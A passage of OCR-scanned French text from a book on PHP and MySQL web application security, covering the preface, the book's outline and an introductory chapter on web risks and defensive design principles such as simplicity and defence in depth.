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Preface 



La securite d'un systeme commence par sa connaissance exhaustive. Or, plus le systeme est 
complique, plus il est difficile de comprendre ses composants et leurs interactions ; il devient 
plus difficile a securiser. De ce fait, pour le blinder, il faut simplifier l'ensemble et en maitri- 
ser chaque aspect. C'est la que PHP et ce livre entrent en scene. 

PHP adopte une approche decomplexee pour resoudre les problemes sur le Web. Les perfor- 
mances, la montee en charge, la courbe d'apprentissage et la securite tirent profit de cette 
approche pragmatique. Parfois cependant, cette conception se retourne contre nous. Trouver 
un compromis entre la rapidite, la simplicite d'apprentissage et la securite amene chaque 
expert specialise dans l'un de ces domaines a critiquer les choix qui favorisent les autres. Si 
les performances sont primordiales, un gestionnaire de memoire qui veille aux allocations 
ressemble a un boulet. 

PHP a grandi avec le Web et, comme ce dernier, il a grandi trop vite. Les webmestres ont 
evolue de la meme facon. Lorsqu'ils ont une idee, ils la veulent sur un site, en ligne, et aussi 
vite que possible. C'est la course pour etre le premier arrive, sinon quelqu'un d'autre aura eu 
la meme idee et aura rafle la prime des leaders. Sur le Web, l'arrivee sur le marche et l'avan- 
tage au premier entrant sont cruciaux. Et dans le meme temps, il faut que 1' application fonc- 
tionne correctement. PHP excelle dans ce domaine. II est facile a prendre en main, il s'adapte 
enormement et il supporte les meilleurs trafics. Le re vers de la medaille est la securite. 

La securite est un art difficile, et il faut des annees pour la maitriser. Elle est aux antipodes de 
la nature chaotique et bouillonnante du Web et de ses developpements. PHP a sa part de res- 
ponsabilite dans l'insecurite du Web. II y a des aspects de ce langage que tous ceux qui sont 
impliques dans sa creation auraient du apprehender autrement des l'origine. De plus, il y 
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avait aussi des evolutions que nous ne pouvions pas prevoir. Douze ans en arriere, les interac- 
tions entre cadres HTML et la prevention des attaques CSRF dans les communications XHR 
auraient simplement ete taxees de science-fiction. PHP a acquis sa popularite quand il s'est 
revele etre Foutil ideal pour resoudre les problemes sur le Web. Cet outil etait simple, rapide, 
et en un mot, il fonctionnait bien. Tout le monde voulait PHP. 

Les applications sur le Web, quelle que soit leur plate-forme de developpement, sont pour la 
plupart mal securisees. La seule solution pour ameliorer la situation est d'elever le niveau de 
connaissance du systeme et des vecteurs d' attaques. II y a des risques que PHP peut neutrali- 
ser, mais in fine, c'est au developpeur de prendre en compte le systeme d' exploitation, le ser- 
veur web, PHP, la base de donnees et d'etendre le modele de securite jusqu'au navigateur, 
quel qu'il soit. 

L'avantage que nous avons est que PHP est toujours aussi simple. II n'y a pas trop de couches 
a reconnaitre. II n'y a pas besoin de longues etudes pour en comprendre le fonctionnement. Si 
vous etes motive pour ecrire des applications robustes et blindees, c'est a votre portee. Ce 
livre vous aidera a identifier les attaques courantes et les erreurs de programmation classi- 
ques, tout en vous guidant pour eviter chacun de ces ecueils. 

Le simple fait que vous ayez cet ouvrage entre les mains montre que vous avez reflechi a ce 
probleme, et il est probable que vos applications sont deja mieux protegees que la moyenne. 
Si vous comprenez et appliquez quelques-uns de ces concepts, vous serez considere comme 
un expert. Au fond, il suffit de bien comprendre comment tout cela fonctionne. 



Rasmus Lerdorf, inventeur de PHP. 
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Pourquoi ce livre ? 

II y a a peine dix ans, Internet etait encore un gadget pour informaticiens, cher, lent, 
bruyant et laid. Pourtant, c'etait deja une source incroyable d' informations. 

Aujourd'hui, le paysage a bien change. Et il faut reconnaitre qu'Internet a envahi notre 
vie quotidienne a une vitesse incroyable. 15 % des internautes avouent meme qu'ils ont 
une forme de dependance a cette technologie. Le Web a envahi le telephone, la radio, la 
television et lorgne maintenant le cinema. 

Vacances, actualites, technologies, finances en ligne, commerce electronique ou encore 
echange d'opinions et partage des differences : notre vie passe de plus en plus par le 
reseau. On y a une identite propre, des habitudes. Nombre de fournisseurs de services 
reduisent leurs coflts en supprimant les services traditionnels pour les remplacer par des 
echanges electroniques. Les gouvernements se rapprochent de leurs administres en 
mettant en place des services de proximite, a la fois plus ouverts et plus rapides. 

Pourtant, le Web d' aujourd'hui est toujours construit sur une confiance reciproque des 
internautes telle qu'elle prevalait a ses debuts. Des sites d' importance font encore confiance 
a leurs utilisateurs pour mettre en lumiere les meilleures actualites (http://www.digg.com, 
par exemple), pour repondre a des questions (Yahoo! Answers, par exemple) ou pour 
rassembler les connaissances a travers le monde (http://www.wi kipedia.org, par exemple). 

Cette approche collaborative permet de transformer Internet en un forum mondial oil les 
internautes les plus eloignes peuvent se retrouver et former des communautes en fonction 
de leurs gouts et aspirations. 

Malheureusement, ce qui rapproche les internautes est aussi ce qui met en peril votre 
existence numerique. Votre modem est la porte d'entree de votre demeure et derriere 
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cette porte, tout le monde est voisin. II n'y a aucune limitation pour sollicker un serveur 
ou un autre dans le monde. Et certains ne se genent pas pour aller frapper a toutes les 
portes afin de voir qui va ouvrir. 

La securite informatique devient done un sujet de premier plan puisqu'elle affecte direc- 
tement le fonctionnement des applications en ligne. Qui dit securite fait souvent surgir 
1' image des ordinateurs de l'armee qui controlent les missiles intercontinentaux ou 
encore des ecrans remplis de caracteres qui defilent contenant des informations vitales mais 
chiffrees. Notre identite numerique n'est pas aussi bien protegee, tout en prenant une valeur 
qui n'est plus negligeable. 

Prenons un exemple. Un guide de restaurants est interessant si chaque commentaire a pu 
etre depose par un visiteur qui y a mange. On peut alors avoir une idee satisfaisante des 
points forts et des lacunes du service. Cependant, que se passe-t-il quand un spammeur 
vient proposer des milliers de commentaires elogieux, afin de faire valoir une adresse 
particuliere ? Cela fausse tout l'interet des retours d' experience. 

L'interet pour ce type de detournement est maintenant decuple, tant par la variete des 
applications, que par les participations de chacun. Que devient un forum politique ou les 
partisans d'un camp arrivent a noyer les arguments des autres dans un flot de contre- 
arguments ? Que devient MySpace quand un million d'usagers choisissent Samy comme 
leur heros ? Que se passe-t-il si Mastercard se fait soutirer 40 millions de numeros de 
cartes de credit ? Et si les impots se font voler 120 000 dossiers complets ? 

Le defi des applications web modernes repose sur la maitrise de ces flots d' informations. 
II faut savoir separer les informations utiles du bruit ambiant dans lequel on retrouve les 
dechets classiques de la societe de 1' information mais aussi tout une population nouvelle 
d'opportunistes : robots automatiques, vulnerabilites des technologies, armees de zombies 
et utilisateurs inconscients viennent s'ajouter aux fanatiques, aux mauvaises langues et 
aux simples d'esprits. 

Vous commencez a avoir peur ? Alors tout n'est pas perdu. De nos jours, la securite d'une 
application web repose d'abord sur la conscience des developpeurs. Avoir opte pour PHP 
et MySQL est deja un excellent choix strategique : la communaute comme le groupe de 
developpement sait a quel point la securite est le fer de lance des applications qui reussissent. 

A qui s'adresse cet ouvrage ? 

Si vous etes un programmeur PHP qui doit concevoir, entretenir ou adapter des applica- 
tions web ecrites avec PHP et MySQL, alors ce livre est ecrit pour vous. Nous l'avons tire 
de notre experience pour qu'il livre des exemples concrets, et nous n'avons jamais fait de 
compromis sur les limitations de chaque technique proposee. La securite est rarement 
absolue, et il faut aussi savoir ou s'arreter. II faut avoir une connaissance prealable de PHP, 
MySQL et des applications web pour aborder cet ouvrage. Si vous ne connaissez rien a 
ces trois domaines, il vaut mieux commencer par vous familiariser avec afin de mieux 
comprendre les tenants et les aboutissants de la securite. 
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Si vous etes un chef de projet utilisant PHP et MySQL, ou simplement un client ou utili- 
sateur d'une application ecrite en PHP alors ce livre vous interessera aussi. Les vulnera- 
bilites classiques des applications y sont decrites, ainsi que les outils pour les combattre. 
Cela vous aidera a mieux comprendre les programmeurs PHP et les choix qu'ils font. 
Cela vous permettra egalement de vous poser les bonnes questions quant aux choix de 
securite que vous faites. 

Si vous ne travaillez qu'avec PHP et avec une autre base de donnees ou bien avec 
MySQL et une autre plate-forme de developpement voire des applications web sans PHP 
ni MySQL, vous trouverez toujours des conseils precieux qui pourront vous eclairer. 
Toutefois, notre propos est clairement oriente vers PHP et MySQL. 

Vous ne trouverez que tres peu de conseils detailles sur le systeme d' exploitation dans cet 
ouvrage que ce soit concernant Windows ou Linux. Les rares fois ou cela etait pertinent, 
nous avons separe les presentations. 

De la meme facon, nous n'abordons pas les aspects purement reseau, ni consacres au 
serveur web. Dans les cas ou nous comptons sur le serveur web pour assurer la securite, 
nous avons choisi d'utiliser Apache pour les exemples. C'est le serveur le plus repandu, 
et le mieux connu du public. Une adaptation minimale des concepts aux autres serveurs 
permettra de leur appliquer les memes solutions. 

Vous ne trouverez pas non plus de conseils de securisation des navigateurs, hormis des 
liens vers les sites de vulnerabilites. En fonction des navigateurs, de leur version, de leur 
systeme sous-jacent, de leur equipement et de leur configuration, des vulnerabilites appa- 
raissent presque chaque jour et sont aussitot resolues pour que d'autres surgissent. C'est 
une course constante entre les problemes et les correctifs, qui meriterait un annuaire plus 
qu'un livre. Nous y accordons une attention limitee dans ce livre : notre veille securitaire 
se fait tous les jours, et en ligne. 

Structure de I'ouvrage 

Le livre est decoupe en quatre grandes parties, elles-memes scindees en plusieurs chapitres 
specialises. 

La premiere partie traite de tous les risques lies au code et aux fonctionnalites de vos 
pages web. 

• Tout d'abord, le chapitre 1 donne un apercu des notions de securite sans rentrer dans 
les details techniques. Nous y presentons des attaques, des defenses et differentes tactiques 
securitaires qui pourront vous proteger de beaucoup de problemes sans meme y penser. 

• Le chapitre 2 presente les vulnerabilites qui affectent les applications web (XSS, attaques 
par moteur de recherche, injections, CSRF, virus), ainsi que leurs vecteurs dans une 
page web. La victime ici s'appelle le navigateur. 

• Le chapitre 3 quant a lui s'interesse aux echanges entre l'internaute et PHP. Nous 
expliquons d'abord quels sont les points vulnerables dans un formulaire et pourquoi il 
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faut les securiser. Nous passons ensuite en revue les techniques de defense cote PHP, la 
premiere de toutes etant la validation des informations, recues mais aussi transmises. 
Au-dela des donnees, nous abordons les problemes lies au telechargement de fichiers, 
qui est adapte aux transferts de gros volumes de donnees, ou pour les formats qui ne 
passent pas par un formulaire. 

• Pour terminer sur les aspects web, le chapitre 4 etudie les cookies (ou temoins) et les 
sessions. Leur utilisation est primordiale pour 1' identification, cependant ils sont aussi 
extremement faciles a voler. 

Les deuxieme et troisieme parties sont consacrees respectivement a PHP et MySQL. 
Elles presentent les risques inherents a ces deux technologies et passent en revue les 
protections qui ont ete mises en place, aussi bien au niveau configuration que dynamique. 

• Le chapitre 5 couvre 1' installation et la configuration de la plate -forme PHP : modes de 
fonctionnement, patch Suhoshin, directives de compilation, consommation de 
ressources, exposition de PHP via ses messages, configuration des sessions. 

• Le chapitre 6 traite de la gestion des erreurs en PHP, des fonctions a surveiller dans le 
code et de la gestion de l'integrite du code source. 

• Le chapitre 7 aborde les concepts SQL les plus generaux, applicables a MySQL bien 
stir, mais aussi a bien d'autres bases de donnees. 

• Le chapitre 8 est consacre specifiquement a MySQL : connexions au serveur, droits 
d'acces et d' execution, points de configuration a surveiller. 

La quatrieme partie s'interesse aux technologies connexes a PHP et MySQL sur le 
serveur. Si PHP et MySQL ne sont pas forcement la cible des attaques, c'est peut-etre 
que d'autres ressources sont visees : tentatives d'abus a l'encontre de l'internaute, ou 
destabilisation du serveur dans son ensemble. 

• Le chapitre 9 s'interesse a tout ce qui se trouve en interaction avec PHP sur le serveur : 
courrier electronique, systeme de fichiers, commandes systeme, structure de 1' applica- 
tion web et acces reseau depuis PHP. 

• Le chapitre 10 presente un complement de techniques qui ne sont pas specifiques a 
PHP ou MySQL. Le chiffrement, les « pots de miel » ou les CAPTCHA sont autant de 
techniques developpees pour contrer les utilisations illegales d'un site web ou pallier 
leur effet. Elles peuvent etre declinees dans bien d'autres plates-formes et nous vous 
encourageons a les connaitre pour ne pas reinventer la roue. 

• Enfin, le chapitre 1 1 explique de facon detaillee comment mener a bien un audit de 
securite. 

Pour terminer, les annexes proposent plusieurs listes d' informations pertinentes pour la 
securite de vos applications, notamment : 

• la liste des points de securite a garder en tete quand on programme en PHP ; 

• les listes des fonctions de protection de PHP, des caracteres speciaux et des fonctions 
qui, a divers titres, doivent attirer votre attention ; 
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• des conseils sur une demarche importante : la sauvegarde ; 

• une webographie complete, avec des sites d' information, des outils de securite et la 
liste des sites cites dans ce livre. 
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Partie 1 



Risques lies 

aux applications web 

Detaillons tout d'abord les vulnerabilites de votre application web. 

Le premier chapitre donne un apercu des principales notions de securite, sans entrer 
dans les details techniques. Nous y presentons des attaques, des defenses et differentes 
tactiques de securite qui pourront vous proteger de nombreux problemes de facon 
preventive. 

Le chapitre 2 detaille les vulnerabilites liees au code et aux diverses fonctionnalites de 
votre application, ainsi que les moyens de vous en proteger. Nous y traitons des injections 
de code, des attaques par moteur de recherche, des CSRF et des virus. 

Dans le chapitre 3, vous apprendrez a securiser les echanges de donnees avec les inter- 
nautes. En effet, si les formulaires et le telechargement de gros fichiers vous sont 
necessaires pour obtenir des informations de vos clients, il est vital de valider scrupu- 
leusement chaque donnee que recoit votre application. 

Pour finir cette premiere partie, le chapitre 4 vous eclairera sur la securisation des 
cookies et des sessions, necessaires pour conserver un etat entre deux requetes ou deux 
connexions, mais particulierement vulnerables. 



1 



Introduction a la securite 
des applications web 



Lorsque nous avons commence a elaborer nos premiers sites web, la securite n'etait pas 
un souci. Comme nous produisions des pages statiques, il etait meme assez difficile 
d'imaginer qu'un pirate puisse s'interesser aux 10 Mo d'espace disque offert par l'heber- 
geur. La seule ressource interessante etait la bande passante du site. En accedant au site, 
on pouvait y placer une archive de contenus pirates et diffuser rapidement ces derniers 
depuis cette URL. En fin de compte, la securite du site reposait sur celle du mot de passe 
FTP, lequel etait jalousement garde. 

Le paysage a considerablement change depuis cette epoque suite a 1' introduction des 
pages dynamiques et des bases de donnees. PHP a entame sa marche triomphale sur le Web 
et des sites de plus en plus importants en faille ou en trafic lui ont confie leurs missions 
critiques telles que les gerer des boutiques en ligne, acheter des billets d' avion, rencontrer 
des gens aux quatre coins de la planete, surveiller l'actualite, faire courir des rumeurs, 
acheter des pilules de toutes sortes. Toutes ces activites, qui semblaient impossibles il y a 
une petite decennie, sont desormais simples et faciles a realiser. Plus recemment encore, 
l'introduction des sites web communautaires et sociaux, ainsi que les interfaces dynami- 
ques avec Ajax ont considerablement accru l'interet du Web pour les utilisateurs moyens. 

Du cote de la programmation du site, les defis se sont singulierement compliques. Desor- 
mais, il faut prendre en compte les aspects ergonomiques de l'interface tout en mena- 
geant la montee en charge du site. Les applications ont ete simplifiees du point de vue des 
utilisateurs. Le style simple et depouille facilite la vie de millions d'internautes. Cette 
simplification pour les utilisateurs a apporte de nouveaux defis aux programmeurs. 
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Plus recemment, la securite est devenue une des questions centrales. II serait plus juste de 
dire que la securite a fait surface dans les medias car, inutile de le nier, les problemes de 
securite ont toujours ete presents. Les questions de confidentialite et d'anonymat, d'abus 
de ressource ou de spam etaient deja de mise lors des premiers pas du Web devant le 
grand public. A cette epoque neanmoins, le nombre d'internautes etait reduit (moins d'un 
million) et aucune transaction financiere n'etait possible. L'interet des « pirates » pour le 
Web etait done faible. Aujourd'hui, il est demesure. 

Cartes de credit, dossiers medicaux, ou simplement vos gouts et interets, ainsi que vos 
adresses courriel et IP sont autant d' informations qui sont convoitees sur Internet. Un blog 
qui attire 1 000 visiteurs par jour represente une proie interessante pour de nombreux 
pirates d'Internet. 

Les risques a prevenir 

Creer un site web peut sembler etre une operation anodine et quotidienne : plus un objet 
est utile, moins il est percu comme une source de danger. Les risques sont pourtant reels 
de voir son site abuse et detourne de son utilisation initiale : cela arrive aux grandes 
entreprises, aux sites populaires et meme aux sites personnels. C'est la que la securite 
entre en jeu. 

L'abus de ressources 

Labus de ressources est generalement le premier souci des webmestres. Cette attaque 
consiste tout simplement a accaparer tout ou partie des ressources d'un site web pour en 
bloquer le fonctionnement. Cela conduit au deni de service : les ressources sont devenues 
tellement rares que le serveur ne peut plus assurer sa fonction habituelle. 

Les abus de ressources se produisent suite a une sollicitation trop importante de la memoire, 
du processeur, des connexions aux bases de donnees, de la bande passante, du nombre 
de processus du serveur web, ou encore de l'espace disque. En fait, tous les aspects du 
serveur peuvent etre satures de l'exterieur. 

Ce type d'abus est generalement facile a identifier, car il pose immediatement des problemes 
a l'administrateur. C'est aussi un des abus les mieux connus et pris en compte, aussi bien 
au niveau de la configuration PHP que du developpement en PHP et MySQL. 

Toutefois, il existe aussi des situations ou l'abus est plus discret : par exemple, un robot 
IRC qui veille sur le serveur, en attente d' instructions specifiques. Durant toute la veille, 
il est tellement discret qu'on a du mal a le reperer, jusqu' au moment ou il se revele. Mais 
a ce moment-la, il est deja trop tard. 



Vocabulaire 

Un robot IRC est un ensemble de scripts ou un programme independant permettant d'utiliser les fonctions 
du protocole IRC de maniere automatisee. 
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La destruction de donnees 

La destruction de donnees arrive en deuxieme sur la liste des risques de securite les plus 
connus. II s'agit de s'attaquer aux donnees, en utilisant une faille de l'application web. Par 
exemple, a l'aide d'une injection SQL, il est possible d'effacer le contenu d'une table, ou bien 
de modifier des donnees dans cette table, et de rendre 1' ensemble du site web inutilisable 
(remplacer tous les mots de passe de la table des utilisateurs par le meme mot, par exemple). 

Comme l'abus de ressources, la destruction de donnees est un phenomene largement 
identifie par les programmeurs et generalement bien defendu. Tout au moins, quelques 
defenses sont mises en place pour parer aux problemes les plus evidents. II s'agit la aussi 
d'un type d'attaque facile a reperer sur le serveur. 

La publication de donnees confidentielies 

La publication de donnees confidentielies entre dans la categorie des risques qui ne 
mettent plus en peril l'application web elle-meme. II s'agit simplement d'un acces par un 
pirate a des donnees auxquelles il ne devrait pas pouvoir acceder : par exemple, lire le 
profil d'un utilisateur qui souhaite rester confidentiel, le dossier medical d'un patient ou 
encore le fichier fiscal d'une entreprise. 

La publication de donnees ne perturbe pas l'utilisation d'un site. Prenons l'exemple de 
MasterCard qui s'est fait voler quelques millions de numeros de cartes de credit en 2005. 
MasterCard est toujours en possession des donnees, mais desormais, une autre personne 
en dispose egalement. Or, la securite d'une carte de credit tient beaucoup a la confiden- 
tialite du nom du porteur, du numero de la carte et de la date d'echeance. Avec ces trois 
informations, il est possible d'utiliser une carte a la place du proprietaire legitime. 

Toute la difficulte de ce type de risque est de savoir identifier le vol. Si le pirate a reussi a 
detourner une requete SQL pour afficher toutes les lignes d'une table, cela va laisser 
beaucoup moins de traces sur le serveur que l'effacement total d'une table. . . 

Le detournement du site 

Detourner un site revient a s'en servir dans un but different de son objet initial. Prenons 
l'exemple du blog : beaucoup l'utilisent comme un journal public ou sont consignes leurs 
coups de coeur ainsi que les sujets qui les revoltent ou qu'ils desapprouvent. Si le nombre 
de visiteurs du blog est suffisamment important pour lui assurer un bon referencement, ce 
dernier devient credible et respecte. Mais si un pirate s'introduit sur le systeme pour inserer 
son propre message, le site sera detourne : le pirate va exploiter la credibilite du blog 
pour diffuser a grande echelle un message de spam, une promotion ehontee ou encore 
d'autres messages illegaux. . . C'est un probleme que rencontrent frequemment les blogs, 
les forums ou les sites d'actualites. 

Un autre type de detournement survient quand une fonctionnalite est exploitee autrement 
que pour son but initial. Par exemple, une interface web proposant le service Whois peut 
facilement etre detournee par un pirate pour collecter des informations. Le pirate 
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demande au site le Whois d'un domaine et c'est le site qui effectue la demande aupres 
des registres Internet, masquant ainsi l'identite du veritable demandeur. Si un tel site est 
mal protege contre les abus, il va faire le relais entre les volumineuses demandes du 
pirate et les serveurs Internet, pour se voir finalement interdit d'acces. Le pirate, lui, ne 
sera pas inquiete... 



Vocabulaire 

Whois est un service de recherche fourni par les registres Internet permettant d'obtenir des informations 
sur une adresse IP ou sur un nom de domaine. 



Les moteurs de recherche peuvent aussi etre victime de ce type d'attaques : en effet, ils 
suivent toutes les URL qui leur sont fournies afin de pouvoir indexer le Web. Malheureuse- 
ment, si une URL a ete creee dans le but de nuire a un autre site, le moteur de recherche va 
etre l'instrument d'une catastrophe sans le savoir, ni pouvoir remonter jusqu'a l'auteur. 

Les serveurs peuvent egalement se faire detourner. Dans ce cas, un simple site web peut se 
transformer en un site FTP pirate ou bien un zombie utilise dans un deni de service distribue. 

L'usurpation d'identite 

Lusurpation d'identite est un probleme croissant sur Internet. Le respect de l'anonymat 
est toujours un debat recurrent, mais de nombreux sites requierent une forme d' identifi- 
cation avant de donner un acces plus complet a leurs services. C'est encore plus vrai pour 
les sites commerciaux, ou le client paie pour un service qui lui est exclusif. 

L'identite que Ton utilise sur un site web devient done un instrument important de secu- 
rite, d'autant plus que differents droits sont attaches a cette identite. Parfois meme, 
l'identite est la seule protection possible sur un site. II suffit de voler l'identifiant et le 
mot de passe d'une personne pour prendre sa place. Dans d'autres cas, c'est simplement 
le cookie ou la session d'un utilisateur qui suffit. 

La mise a mal de I'image de marque du site 

Enfin, le dernier risque d'une application mal securisee est simplement le ridicule. Que 
dire d'un site qui a ete defigure durant la nuit par un message de pirate ? Ou simplement 
du fait d'etre reveille au milieu de la nuit par des messages d'alerte provenant d'un site en 
perdition ? C'est ridicule, ca ne tue pas, mais c'est particulierement desagreable. 

Concepts de securite 

La securite d'une application se pratique a tous les stades de sa vie : elle commence au 
moment de la conception, quand on met en place les choix strategiques ; elle est constante 
durant le developpement ; et enfin, elle se concretise par la surveillance des operations 
journalieres lorsque 1' application est mise en production. 
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La securite doit rester a l'esprit de tous les membres de l'equipe qui interviennent sur 
1' application, mais elle doit aussi savoir rester a sa place : une application ultra-securisee 
mais qui ne fait rien est inutile. Les concepts que nous vous presentons ici vous assure - 
ront un niveau de securite eleve et compatible avec tous les projets. 

La securite des la conception 

La securite doit se pencher sur le berceau d'une application des sa conception. C'est a ce 
moment qu'on peut mettre en place les bonnes pratiques qui se reveleront beneriques 
meme apres la mise en production de 1' application. C'est aussi le moment oil la pression 
des clients est la plus faible, et ou on peut organiser les fonctionnalites pour les satisfaire 
sans mettre en peril toute 1' architecture. 

II est bien plus complique de corriger des problemes de securite si les concepts de base 
ont ete mal penses. II y a plusieurs strategies qui se revelent toujours profitables, au 
moment oil on en a le plus besoin. 

Un peu de bon sens 

Le premier element necessaire pour assurer une bonne securite n'est pas technologique, 
mais humain : il s'agit de faire preuve de bon sens. 

Le site d'une grande firme d'agents immobiliers placait directement les requetes SQL 
qu'il utilisait pour effectuer des recherches dans les bases d'annonces, a l'interieur des 
pages web, sous forme de champs caches. Cette technique permettait de faire suivre les 
criteres successifs de l'utilisateur d'une page a l'autre, sans en perdre, sans avoir a les 
recalculer et sans jamais utiliser de cookie. Mais cette maniere de faire est particuliere- 
ment risquee et revele un manque de bon sens evident. 

Internet est avant tout un moyen public de communication entre ordinateurs. Entre votre 
utilisateur et vous, il y a une relation de confiance qui s'etablit, et qui passe par... un 
espace public. Imaginez-vous en train de parler a votre banquier au milieu de la rue, un 
jour de marche. En fait, c'est exactement comme cela que ca se passe a la banque : meme 
rendu au guichet, les personnes qui attendent derriere vous sont proches, tres proches, 
voire trop proches, et parfois, par inadvertance, elles entendent ce que vous dites. 

Lors de la conception du site web, il est important de se demander si les informations ont 
interet a transiter par le reseau avant d'etre retournees a votre site. Certaines informations 
devront faire ce chemin, comme le nom d' utilisateur et le mot de passe lors de 1' identifi- 
cation. Dans certains cas, les informations seront deja publiques, et ne souffriront pas 
d'etre interceptees ou modifiees ; mais le reste du temps, ce n'est pas le cas. 

Avant de vous lancer dans la programmation, pensez done a prendre un instant pour regar- 
der l'ensemble de votre application et interrogez-vous sur l'utilite de ce que vous faites. 

Eloge de la simplicity 

La complexite est a l'origine de nombreux problemes et se traduit par des trous de secu- 
rite. Lorsque le code est simple, il est facile de le comprendre et d'en voir les limitations. 
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D'un autre cote, quand le code est complique, il est encore plus complique a tester. Fina- 
lement, il est difficile de se faire une idee precise du niveau de securite. 

Si un filtre simple n'est pas suffisant, vous pouvez toujours en ajouter un autre. Tant que 
cela reste clair et comprehensible, vous aurez la maitrise de votre securite. Generalement, 
les problemes de securite s'invitent dans les parties obscures d'une application, celles qui 
sont le moins maitrisees. 

Cette philosophie est aussi la raison qui pousse certains programmeurs a limiter les mani- 
pulations sur les donnees de l'utilisateur quand ces dernieres contiennent une erreur. 
Dans ce cas, les donnees entrees sont renvoyees a l'utilisateur, avec les protections ad hoc 
du HTML, pour que ce dernier effectue les corrections. Plutot que de mettre en place un 
systeme tres intelligent qui tentera de corriger les valeurs erronees, on compte simple- 
ment sur l'utilisateur. En pratique, cela permet de se premunir contre les situations ou la 
correction d'une erreur introduit d'autres erreurs. 

Soyez vous-meme 

Lorsqu'une vulnerability est decouverte dans une application web, elle est publiee sur un 
site de reference de la securite, comme Mitre (http://www.mitre.org) ou SecurityFocus 
(http://www.securityfocus.com). La publication d'une vulnerabilite a plusieurs conse- 
quences importantes : une fois qu'une vulnerabilite a ete publiee, des details sont rendus 
visibles et ils peuvent facilement etre obtenus par des pirates en herbe. Meme si aucun 
exemple d' exploitation n'est publie, il est facile d'en construire un a partir de la description 
de la vulnerabilite. Si vous utilisez cette application, vous vous retrouverez alors rapide- 
ment en premiere ligne face a une menace connue et documented : ni l'auteur du site, ni 
votre hebergeur ne pourra vous aider. 

Notez bien que les applications les plus populaires sont toujours les plus visees car leur 
piratage est plus rentable que celui d'une application inconnue. En effet, 1' application 
populaire a beaucoup d'utilisateurs, lesquels sont facilement reperables. De plus, parmi 
ces utilisateurs, certains presentent toujours des configurations plus vulnerables que la 
moyenne. Enfin, plus la communaute d'utilisateurs est grande, plus grand est le nombre 
de retardataires. Aujourd'hui, presque deux ans apres le ver phpBB, il existe toujours des 
utilisateurs de versions vulnerables. . . 

Ce type de raisonnement, utilise couramment par les pirates, explique pourquoi les appli- 
cations developpees specifiquement sont generalement moins victimes d' agressions : il 
n'y a qu'un seul site au monde qui les utilise. Et cela conduit d'ailleurs a une conclusion 
parfois difficile a avouer : il est fort probable que la personne qui attaque un tel site ait 
deja des relations avec son auteur. Un ancien employe, un sous-traitant, un utilisateur. 
qui dispose d' informations critiques sur 1' application, a decide de les utiliser ou de les 
revendre. C'est deja un premier pas vers le coupable. 

La securite par I'obscurite 

La securite par I'obscurite consiste a proteger une application en conservant secretes 
autant d' informations que possible sur sa structure et son fonctionnement. Sur le Web, la 
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securite par l'obscurite consiste a masquer toutes les informations qui pourraient aider un 
pirate a abuser d'un service. Comme les informations sont plus difficiles a obtenir, le 
niveau de securite est plus eleve. 

La securite par l'obscurite a mauvaise presse, notamment en ce qui concerne les systemes 
proprietaires, qui l'utilisent largement. Malgre cela, elle reste utilisee et meme recom- 
mandee, quand elle est associee a d'autres mesures de protection. C'est une tactique de 
securite qui ne doit pas etre erigee en strategie. 

L'obscurite ralentit le travail des pirates mais ne l'empeche pas. Pour preuve, les logiciels 
proprietaires, dont le code source est protege jalousement, affichent des niveaux de secu- 
rite parfois bien inferieurs a ceux de leurs confreres libres. On est en droit de se demander 
si les developpeurs de ces logiciels ne se sentent pas trop a l'abri et finalement negligent 
la securite. 

De maniere generale, la securite par l'obscurite consiste a masquer tout ce qui donne des 
informations a un attaquant : aucun affichage d'erreur, pas de page de type « a propos 
de » avec un lien vers le nom du logiciel utilise, aucun cookie caracteristique de PHP, pas 
d'en-tete serveur X-Powered-by ou toute autre information. 

L'obscurite n'est pas une solution exhaustive aux problemes de securite. Les techniques 
de developpement a code ouvert sont souvent plus efficaces en proposant un audit perma- 
nent du code. Cependant, la securite par l'obscurite complique singulierement le travail 
du pirate et donne aux administrateurs une longueur d'avance. Elle reste un bon moyen 
complementaire a d'autres mesures de securite. 

La defense en profondeur 

Le concept de defense en profondeur est plus ancien que le Web lui-meme et il est le plus 
difficile a comprendre et a appliquer. II se resume a ceci : pour bien defendre une appli- 
cation, il convient de mettre en place des defenses meme la oil elles ne servent apparem- 
ment a rien. Ce concept est tres populaire parmi les experts en securite et l'histoire a 
souvent prouve qu'il etait valable. « Une chaine a la resistance de son maillon le plus 
faible » est une autre maniere de decrire la defense en profondeur : il faut renforcer chaque 
maillon. 

Les systemes de securite redondants sont plus fiables que les barrieres uniques. C'est 
aussi pour cela que les parachutistes sautent avec deux parachutes. Si le premier part en 
torche, on utilise le second. Les chances de s'en sortir sont plus importantes avec deux 
parachutes qu'avec un seul. 

Evidemment, d'un point de vue theorique, si le second parachute part aussi en torche, on 
retourne au probleme initial. On peut simplement augmenter le niveau de securite en 
ajoutant un troisieme parachute, voire un quatrieme. C'est ici que la defense en profon- 
deur rencontre ses limites : la securite commence a nuire au simple plaisir de sauter en 
chute libre. Rares sont les parachutistes qui prennent plus de deux parachutes. 

Dans un modele MVC (modele -vue-controleur), le modele de donnees est decouple de la 
couche de presentation (la vue) et du controleur. Theoriquement, aucune donnee ne 
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devrait l'atteindre sans avoir ete filtree, validee et marquee comme sure. Ainsi, dans un 
fonctionnement normal, le modele est totalement immunise contre les attaques. D'ailleurs, 
pour gagner en performances, on essaie generalement de limiter le nombre de validations 
dans le modele : elles sont redondantes et ne servent a rien. 

Pourtant, des situations qui mettront en peril le modele de donnees sont universellement 
presentes. Imaginez simplement une vulnerabilite qui a ete recemment identifiee. II 
arrive tous les jours que de nouvelles methodes d'attaque d'une application web soient 
decouvertes. Si c'est une nouvelle attaque, il est possible que tous les nitres soient inoperants 
et que les donnees sournoises soient capables de se rendre jusqu'au modele. 

L' autre cas est une evolution de 1' application. Un service web est ajoute a 1' application, 
base sur le modele courant : par commodite de developpement, on ne passe plus par le 
controleur ni la couche de presentation, qui sont destines au Web. Si la securite n'est pas 
aussi consciencieusement appliquee a ce nouveau service de votre application, il est 
possible que les nitres soient ignores, et votre modele se retrouve en premiere ligne. 
Combien de services supplementaires ont ete mis en place par des stagiaires qui ont 
simplement remis la securite a plus tard ? 

Ainsi, il est important d' avoir un plan de secours pour limiter les degats, meme dans des 
parties du code ou on en attend peu. Le but n'est pas de dupliquer la couche de controle, 
mais d' installer des systemes complementaires et differents. Si une requete SQL requiert un 
entier positif comme identifiant, on peut forcer le type des arguments avant de la construire. 
De cette facon, si jamais les arguments sont victimes d'une vulnerabilite, la requete SQL 
saura se defendre toute seule et vous aurez peut etre evite une injection. 

La difficulte de 1' application du principe de defense en profondeur est le meme que le 
